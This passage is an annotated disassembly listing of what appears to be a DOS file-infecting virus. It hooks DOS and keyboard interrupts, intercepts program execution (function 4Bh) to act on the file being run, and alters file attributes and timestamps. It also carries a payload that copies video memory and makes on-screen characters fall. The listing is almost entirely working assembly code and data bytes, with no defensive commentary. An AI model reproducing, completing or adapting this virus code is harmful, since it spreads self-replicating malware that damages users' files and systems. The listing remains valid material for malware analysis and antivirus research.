;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
mov al,0EAh
stosb ; Store al to es:[di]
mov ax,cx
add ax,si
stosw ; Store ax to es:[di]
mov ax,cs
stosw ; Store ax to es:[di]
loc_ret_50: ; xref 6FB8:07CF
retn
sub_12 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:04F4
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
or dx,dx ; Zero ?
jz loc_ret_50 ; Jump if zero
push ds
push es
mov es,ds:data_39e[si] ; (6FB8:00E0=0)
mov di,data_46e ; (6FB8:00EC=0)
cld ; Clear direction
mov cx,9A8h
call sub_12 ; (07C1)
mov cx,76Ah
call sub_12 ; (07C1)
mov cx,7BEh
call sub_12 ; (07C1)
mov cx,84Ch
call sub_12 ; (07C1)
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ax,0ECh
xchg ax,ds:data_3e ; (0000:0070=0FF53h)
mov word ptr cs:[0A88h][si],ax ; (6FB8:0A88=49A0h)
mov ax,es
xchg ax,ds:data_4e ; (0000:0072=0F000h)
mov word ptr cs:[0A8Ah][si],ax ; (6FB8:0A8A=0B904h)
mov ax,0F1h
xchg ax,ds:data_5e ; (0000:0080=1094h)
mov word ptr cs:[76Eh][si],ax ; (6FB8:076E=0C033h)
mov ax,es
xchg ax,ds:data_6e ; (0000:0082=123h)
mov word ptr cs:[770h][si],ax ; (6FB8:0770=0D88Eh)
mov ax,0F6h
xchg ax,ds:data_7e ; (0000:0084=109Eh)
mov word ptr cs:[7DCh][si],ax ; (6FB8:07DC=9A8h)
mov ax,es
xchg ax,ds:data_8e ; (0000:0086=123h)
mov word ptr cs:[7DEh][si],ax ; (6FB8:07DE=0E0E8h)
mov ax,0FBh
xchg ax,ds:data_11e ; (0000:009C=10BCh)
mov word ptr cs:[857h][si],ax ; (6FB8:0857=6C3h)
mov ax,es
xchg ax,word ptr ds:data_11e+2 ; (0000:009E=123h)
mov word ptr cs:[859h][si],ax ; (6FB8:0859=848Eh)
pop es
pop ds
sti ; Enable interrupts
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:08F2
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
push es
mov es,word ptr ds:[0E0h][si] ; (0000:00E0=10DAh)
mov di,data_21e ; (0000:00F1=10h)
cld ; Clear direction
mov cx,76Dh
call sub_12 ; (07C1)
mov cx,7E0h
call sub_12 ; (07C1)
mov cx,856h
call sub_12 ; (07C1)
pop es
retn
sub_14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:024A, 0938
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_15 proc near
push es
xor ax,ax ; Zero register
mov es,ax
mov ax,85Bh
add ax,si
xchg ax,es:data_9e ; (0000:0090=156h)
mov ds:data_18e[si],ax ; (0000:00EA=123h)
mov ax,cs
xchg ax,es:data_10e ; (0000:0092=44Bh)
mov ds:data_19e[si],ax ; (0000:00EC=10DAh)
pop es
mov byte ptr ds:data_20e[si],0 ; (0000:00EE=23h)
retn
sub_15 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:0499, 0981
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
push es
xor ax,ax ; Zero register
mov es,ax
mov ax,cs:data_45e[si] ; (6FB8:00EA=0)
mov es:data_9e,ax ; (0000:0090=156h)
mov ax,cs:data_46e[si] ; (6FB8:00EC=0)
mov es:data_10e,ax ; (0000:0092=44Bh)
pop es
retn
sub_16 endp
jmp short loc_53 ; (08EA)
nop
;* jmp far ptr loc_2 ;*(029B:136C)
db 0EAh, 6Ch, 13h, 9Bh, 02h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:0247, 08CB, 08EC, 0935
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
pop bx
push ds
push ax
push ds
push cs
pop ds
call sub_18 ; (08C4)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; Called from: 6FB8:08C1
sub_18:
pop si
sub si,77Bh
jmp bx ;*Register jump
loc_51: ; xref 6FB8:0918, 091D
call sub_17 ; (08BB)
push cx
mov ax,[si+7]
mov cx,es
cmp ax,cx
pop cx
pop ds
pop ax
jnz loc_52 ; Jump if not zero
push cs
pop es
cmp ah,49h ; 'I'
je loc_52 ; Jump if equal
add bx,1D0h
loc_52: ; xref 6FB8:08D9, 08E0
pop ds
jmp short loc_55 ; (0924)
db 90h
loc_53: ; xref 6FB8:08B3, 090A, 0913
xor dx,dx ; Zero register
loc_54: ; xref 6FB8:090F
call sub_17 ; (08BB)
push es
push dx
cli ; Disable interrupts
call sub_14 ; (0858)
sti ; Enable interrupts
pop ax
mov dx,1D0h
add dx,ax
add dx,10h
pop es
pop ds
pop ax
pop ds
mov ah,31h ; '1'
jmp short loc_55 ; (0924)
cmp ah,4Ch ; 'L'
je loc_53 ; Jump if equal
cmp ah,31h ; '1'
je loc_54 ; Jump if equal
or ah,ah ; Zero ?
jz loc_53 ; Jump if zero
cmp ah,49h ; 'I'
je loc_51 ; Jump if equal
cmp ah,4Ah ; 'J'
je loc_51 ; Jump if equal
cmp ah,4Bh ; 'K'
je loc_56 ; Jump if equal
loc_55: ; xref 6FB8:08E7, 0905, 0993
;* jmp far ptr loc_4 ;*(0E4C:035D)
db 0EAh, 5Dh, 03h, 4Ch, 0Eh
db 80h,0FCh, 4Bh, 75h,0F6h
loc_56: ; xref 6FB8:0922
push cx
push dx
push es
push bx
push si
push di
push bp
call sub_17 ; (08BB)
call sub_15 ; (0875)
loc_57: ; xref 6FB8:0941, 0949
sti ; Enable interrupts
test byte ptr ds:data_26e,2 ; (0000:0972=74h)
jnz loc_57 ; Jump if not zero
cli ; Disable interrupts
test byte ptr ds:data_26e,2 ; (0000:0972=74h)
jnz loc_57 ; Jump if not zero
or byte ptr ds:data_26e,2 ; (0000:0972=74h)
pop ds
mov bx,dx
mov byte ptr cs:data_40e[si],0FFh ; (6FB8:00E2=0)
cmp byte ptr [bx+1],3Ah ; ':'
jne loc_58 ; Jump if not equal
mov al,[bx]
or al,20h ; ' '
sub al,61h ; 'a'
mov cs:data_40e[si],al ; (6FB8:00E2=0)
loc_58: ; xref 6FB8:095D
push si
push di
push es
cld ; Clear direction
mov si,dx
push cs
pop es
mov di,offset ds:[984h] ; (6FB8:0984=2Eh)
loc_59: ; xref 6FB8:0979
lodsb ; String [si] to al
stosb ; Store al to es:[di]
or al,al ; Zero ?
jnz loc_59 ; Jump if not zero
pop es
pop di
pop si
call sub_5 ; (056E)
call sub_16 ; (089A)
and byte ptr cs:[972h],0FDh ; (6FB8:0972=0BFh)
pop ax
pop ds
pop bp
pop di
pop si
pop bx
pop es
pop dx
pop cx
jmp short loc_55 ; (0924)
sub_17 endp
db 83h,0C2h, 0Fh,0B1h, 04h,0D3h
db 0EAh,0E9h, 4Dh,0FFh,0EAh,0FEh
db 5Dh, 9Bh, 02h, 56h,0E8h, 00h
db 00h, 5Eh, 81h,0EEh, 5Fh, 08h
db 2Eh, 80h, 8Ch,0EEh, 00h, 01h
db 5Eh, 32h,0C0h,0CFh, 01h, 00h
db 00h, 00h, 8Ah, 00h, 00h, 00h
db 00h, 5Fh,0FEh, 00h, 00h, 00h
db 00h,0B8h, 00h, 00h, 49h, 00h
db 00h, 00h
db 'A:\TEST3066.COM'
db 00h, 00h, 00h, 45h, 58h, 45h
db 00h, 45h, 00h
db 143 dup (0)
loc_60: ; xref 6FB8:0AEF
push cx
push ds
push es
push si
push di
push cs
pop es
cld ; Clear direction
test al,20h ; ' '
jz loc_63 ; Jump if zero
test al,2
jnz loc_64 ; Jump if not zero
xor ax,ax ; Zero register
mov ds,ax
mov al,ds:data_25e ; (0000:0449=3)
mov cx,0B800h
cmp al,7
jne loc_61 ; Jump if not equal
mov cx,0B000h
jmp short loc_62 ; (0A9F)
loc_61: ; xref 6FB8:0A90
cmp al,2
je loc_62 ; Jump if equal
cmp al,3
jne loc_64 ; Jump if not equal
loc_62: ; xref 6FB8:0A95, 0A99
mov word ptr cs:[97Ch],cx ; (6FB8:097C=5E5Fh)
or byte ptr cs:[972h],2 ; (6FB8:0972=0BFh)
mov word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h)
mov ds,cx
mov cx,7D0h
xor si,si ; Zero register
mov di,offset ds:[0CF5h] ; (6FB8:0CF5=0BEh)
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
xor ax,ax ; Zero register
mov ds,ax
mov ax,0B92h
xchg ax,ds:data_1e ; (0000:0024=45h)
mov word ptr cs:[973h],ax ; (6FB8:0973=984h)
mov ax,cs
xchg ax,ds:data_2e ; (0000:0026=3D1h)
mov word ptr cs:[975h],ax ; (6FB8:0975=0AAACh)
loc_63: ; xref 6FB8:0A7E
mov cx,50h
mov ax,0F00h
mov di,offset data_54 ; (6FB8:0105=9)
rep stosw ; Rep when cx >0 Store ax to es:[di]
and byte ptr cs:[972h],7 ; (6FB8:0972=0BFh)
loc_64: ; xref 6FB8:0A82, 0A9D
pop di
pop si
pop es
pop ds
pop cx
jmp loc_76 ; (0BCF)
loc_65: ; xref 6FB8:0AFE
jmp short loc_60 ; (0A74)
push ax
mov byte ptr cs:[979h],0 ; (6FB8:0979=75h)
mov al,byte ptr cs:[972h] ; (6FB8:0972=0BFh)
test al,60h ; '`'
jnz loc_65 ; Jump if not zero
test al,80h
jz loc_68 ; Jump if zero
cmp word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h)
je loc_66 ; Jump if equal
inc word ptr cs:[97Eh] ; (6FB8:097E=0EDE8h)
cmp word ptr cs:[97Eh],444h ; (6FB8:097E=0EDE8h)
jl loc_66 ; Jump if <
call sub_19 ; (0C25)
jmp loc_76 ; (0BCF)
loc_66: ; xref 6FB8:0B0A, 0B18
test al,18h
jz loc_67 ; Jump if zero
dec word ptr cs:[977h] ; (6FB8:0977=0C00Ah)
jnz loc_67 ; Jump if not zero
and byte ptr cs:[972h],0E7h ; (6FB8:0972=0BFh)
or byte ptr cs:[972h],40h ; (6FB8:0972=0BFh) '@'
test al,8
jz loc_67 ; Jump if zero
or byte ptr cs:[972h],20h ; (6FB8:0972=0BFh) ' '
loc_67: ; xref 6FB8:0B22, 0B29, 0B39, 0B4C
jmp loc_76 ; (0BCF)
loc_68: ; xref 6FB8:0B02
xor byte ptr cs:[972h],1 ; (6FB8:0972=0BFh)
test al,1
jz loc_67 ; Jump if zero
push bx
push si
push ds
mov ds,word ptr cs:[97Ch] ; (6FB8:097C=5E5Fh)
xor si,si ; Zero register
mov byte ptr cs:[96Eh],0 ; (6FB8:096E=8Bh)
loc_69: ; xref 6FB8:0BB5
mov bx,cs:data_54[si] ; (6FB8:0105=0CD09h)
or bx,bx ; Zero ?
jz loc_70 ; Jump if zero
cmp byte ptr [bx+si],20h ; ' '
jne loc_70 ; Jump if not equal
cmp byte ptr ds:data_31e[bx+si],20h ; (5E5F:FF60=0FFh) ' '
je loc_70 ; Jump if equal
mov ax,720h
xchg ax,ds:data_31e[bx+si] ; (5E5F:FF60=0FFFFh)
mov [bx+si],ax
add bx,0A0h
loc_70: ; xref 6FB8:0B65, 0B6A, 0B71
cmp bx,data_30e ; (5E5F:0FA0=0FFh)
je loc_71 ; Jump if equal
cmp byte ptr [bx+si],20h ; ' '
jne loc_71 ; Jump if not equal
jnz loc_74 ; Jump if not zero
loc_71: ; xref 6FB8:0B84, 0B89
mov bx,data_29e ; (5E5F:0F00=0FFh)
loc_72: ; xref 6FB8:0BA2
cmp byte ptr [bx+si],20h ; ' '
jne loc_73 ; Jump if not equal
cmp byte ptr ds:data_31e[bx+si],20h ; (5E5F:FF60=0FFh) ' '
jne loc_74 ; Jump if not equal
loc_73: ; xref 6FB8:0B93
sub bx,0A0h
or bx,bx ; Zero ?
jnz loc_72 ; Jump if not zero
loc_74: ; xref 6FB8:0B8B, 0B9A
mov cs:data_54[si],bx ; (6FB8:0105=0CD09h)
or word ptr cs:[96Eh],bx ; (6FB8:096E=0F28Bh)
add si,2
cmp si,0A0h
jne loc_69 ; Jump if not equal
cmp byte ptr cs:[96Eh],0 ; (6FB8:096E=8Bh)
jne loc_75 ; Jump if not equal
or byte ptr cs:[972h],80h ; (6FB8:0972=0BFh)
mov word ptr cs:[97Eh],1 ; (6FB8:097E=0EDE8h)
loc_75: ; xref 6FB8:0BBD
pop ds
pop si
pop bx
loc_76: ; xref 6FB8:0AEC, 0B1D, 0B41
pop ax
;* jmp far ptr loc_90 ;*(FC00:3F4D)
db 0EAh, 4Dh, 3Fh, 00h,0FCh
loc_77: ; xref 6FB8:0C32
mov al,20h ; ' '
out 20h,al ; port 20h, 8259-1 int command
; al = 20h, end of interrupt
pop ax
iret ; Interrupt return
db 50h,0E4h, 60h, 2Eh,0A2h, 7Ah
db 09h,0E4h, 61h, 8Ah,0E0h, 0Ch
db 80h,0E6h, 61h, 8Ah,0C4h,0E6h
db 61h, 2Eh, 80h, 3Eh, 79h, 09h
db 00h, 2Eh,0C6h, 06h, 79h, 09h
db 01h, 75h,0D9h, 2Eh,0A0h, 7Ah
db 09h, 3Ch,0F0h, 74h,0D1h, 24h
db 7Fh, 2Eh, 3Ah, 06h, 7Bh, 09h
db 2Eh,0A2h, 7Bh, 09h, 74h,0C4h
db 2Eh, 83h, 3Eh, 7Eh, 09h, 00h
db 74h, 07h, 2Eh,0C7h, 06h, 7Eh
db 09h, 01h, 00h,0E8h, 02h, 00h
db 0EBh,0B0h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:0B1A
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_19 proc near
mov word ptr cs:[977h],28h ; (6FB8:0977=0C00Ah)
test byte ptr cs:[972h],80h ; (6FB8:0972=0BFh)
jz loc_77 ; Jump if zero
mov byte ptr cs:[970h],1 ; (6FB8:0970=0Eh)
push bx
push si
push ds
mov ds,word ptr cs:[97Ch] ; (6FB8:097C=5E5Fh)
test byte ptr cs:[972h],10h ; (6FB8:0972=0BFh)
jnz loc_81 ; Jump if not zero
or byte ptr cs:[972h],10h ; (6FB8:0972=0BFh)
xor si,si ; Zero register
loc_78: ; xref 6FB8:0C77
mov bx,data_29e ; (5E5F:0F00=0FFh)
loc_79: ; xref 6FB8:0C5E
cmp byte ptr [bx+si],20h ; ' '
je loc_80 ; Jump if equal
sub bx,0A0h
jnc loc_79 ; Jump if carry=0
mov bx,0F00h
loc_80: ; xref 6FB8:0C58
add bx,data_28e ; (5E5F:00A0=0FFh)
mov cs:data_54[si],bx ; (6FB8:0105=0CD09h)
mov word ptr cs:[980h][si],bx ; (6FB8:0980=0E8FBh)
inc si
inc si
cmp si,data_37e ; (6FB8:00A0=0)
jne loc_78 ; Jump if not equal
loc_81: ; xref 6FB8:0C48
xor si,si ; Zero register
loc_82: ; xref 6FB8:0CE4
cmp cs:data_54[si],0FA0h ; (6FB8:0105=0CD09h)
je loc_88 ; Jump if equal
mov bx,word ptr cs:[980h][si] ; (6FB8:0980=0E8FBh)
mov ax,[bx+si]
cmp ax,word ptr cs:[0CF5h][bx+si] ; (6FB8:0CF5=0F5BEh)
jne loc_84 ; Jump if not equal
push bx
loc_83: ; xref 6FB8:0CA0, 0CA4
or bx,bx ; Zero ?
jz loc_86 ; Jump if zero
sub bx,0A0h
cmp ax,word ptr cs:[0CF5h][bx+si] ; (6FB8:0CF5=0F5BEh)
jne loc_83 ; Jump if not equal
cmp ax,[bx+si]
je loc_83 ; Jump if equal
pop bx
loc_84: ; xref 6FB8:0C90
or bx,bx ; Zero ?
jnz loc_85 ; Jump if not zero
mov word ptr [si],720h
jmp short loc_87 ; (0CCB)
loc_85: ; xref 6FB8:0CA9
mov ax,[bx+si]
mov ds:data_31e[bx+si],ax ; (5E5F:FF60=0FFFFh)
mov word ptr [bx+si],720h
sub word ptr cs:[980h][si],0A0h ; (6FB8:0980=0E8FBh)
mov byte ptr cs:[970h],0 ; (6FB8:0970=0Eh)
jmp short loc_88 ; (0CDE)
loc_86: ; xref 6FB8:0C95
pop bx
loc_87: ; xref 6FB8:0CAF
mov bx,cs:data_54[si] ; (6FB8:0105=0CD09h)
add bx,0A0h
mov cs:data_54[si],bx ; (6FB8:0105=0CD09h)
mov word ptr cs:[980h][si],bx ; (6FB8:0980=0E8FBh)
loc_88: ; xref 6FB8:0C82, 0CC8
inc si
inc si
cmp si,0A0h
jne loc_82 ; Jump if not equal
cmp byte ptr cs:[970h],0 ; (6FB8:0970=0Eh)
je loc_89 ; Jump if equal
push es
push di
push cx
push ds
pop es
push cs
pop ds
mov si,offset ds:[0CF5h] ; (6FB8:0CF5=0BEh)
xor di,di ; Zero register
mov cx,7D0h
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
mov word ptr cs:[977h],0FFDCh ; (6FB8:0977=0C00Ah)
and byte ptr cs:[972h],4 ; (6FB8:0972=0BFh)
or byte ptr cs:[972h],88h ; (6FB8:0972=0BFh)
mov word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h)
xor ax,ax ; Zero register
mov ds,ax
mov ax,word ptr cs:[973h] ; (6FB8:0973=984h)
mov ds:data_1e,ax ; (0000:0024=45h)
mov ax,word ptr cs:[975h] ; (6FB8:0975=0AAACh)
mov ds:data_2e,ax ; (0000:0026=3D1h)
pop cx
pop di
pop es
loc_89: ; xref 6FB8:0CEC
pop ds
pop si
pop bx
retn
sub_19 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;
; Called from: 6FB8:04D3, 04EC
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_20 proc near
cld ; Clear direction
pop ax
sub ax,si
add ax,di
push es
push ax
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
retf ; Return far
sub_20 endp
db 90h, 50h,0E8h,0E2h, 03h, 8Bh
seg_a ends
end start
±±±±±±±±±±±±±±±±±±±± CROSS REFERENCE - KEY ENTRY POINTS ±±±±±±±±±±±±±±±±±±±
seg:off type label
---- ---- ---- ---------------
6FB8:0100 far start
±±±±±±±±±±±±±±±±±± Interrupt Usage Synopsis ±±±±±±±±±±±±±±±±±±
Interrupt 21h : set default drive dl (0=a:)
Interrupt 21h : get default drive al (0=a:)
Interrupt 21h : set DTA to ds:dx
Interrupt 21h : get date, cx=year, dx=mon/day
Interrupt 21h : set current dir, path @ ds:dx
Interrupt 21h : open file, al=mode,name@ds:dx
Interrupt 21h : close file, bx=file handle
Interrupt 21h : read file, cx=bytes, to ds:dx
Interrupt 21h : write file cx=bytes, to ds:dx
Interrupt 21h : move file ptr, cx,dx=offset
Interrupt 21h : get/set file attrb, nam@ds:dx
Interrupt 21h : get present dir,drive dl,1=a:
Interrupt 21h : get/set file date & time
±±±±±±±±±±±±±±±±±± I/O Port Usage Synopsis ±±±±±±±±±±±±±±±±±±
Port 20h : 8259-1 int command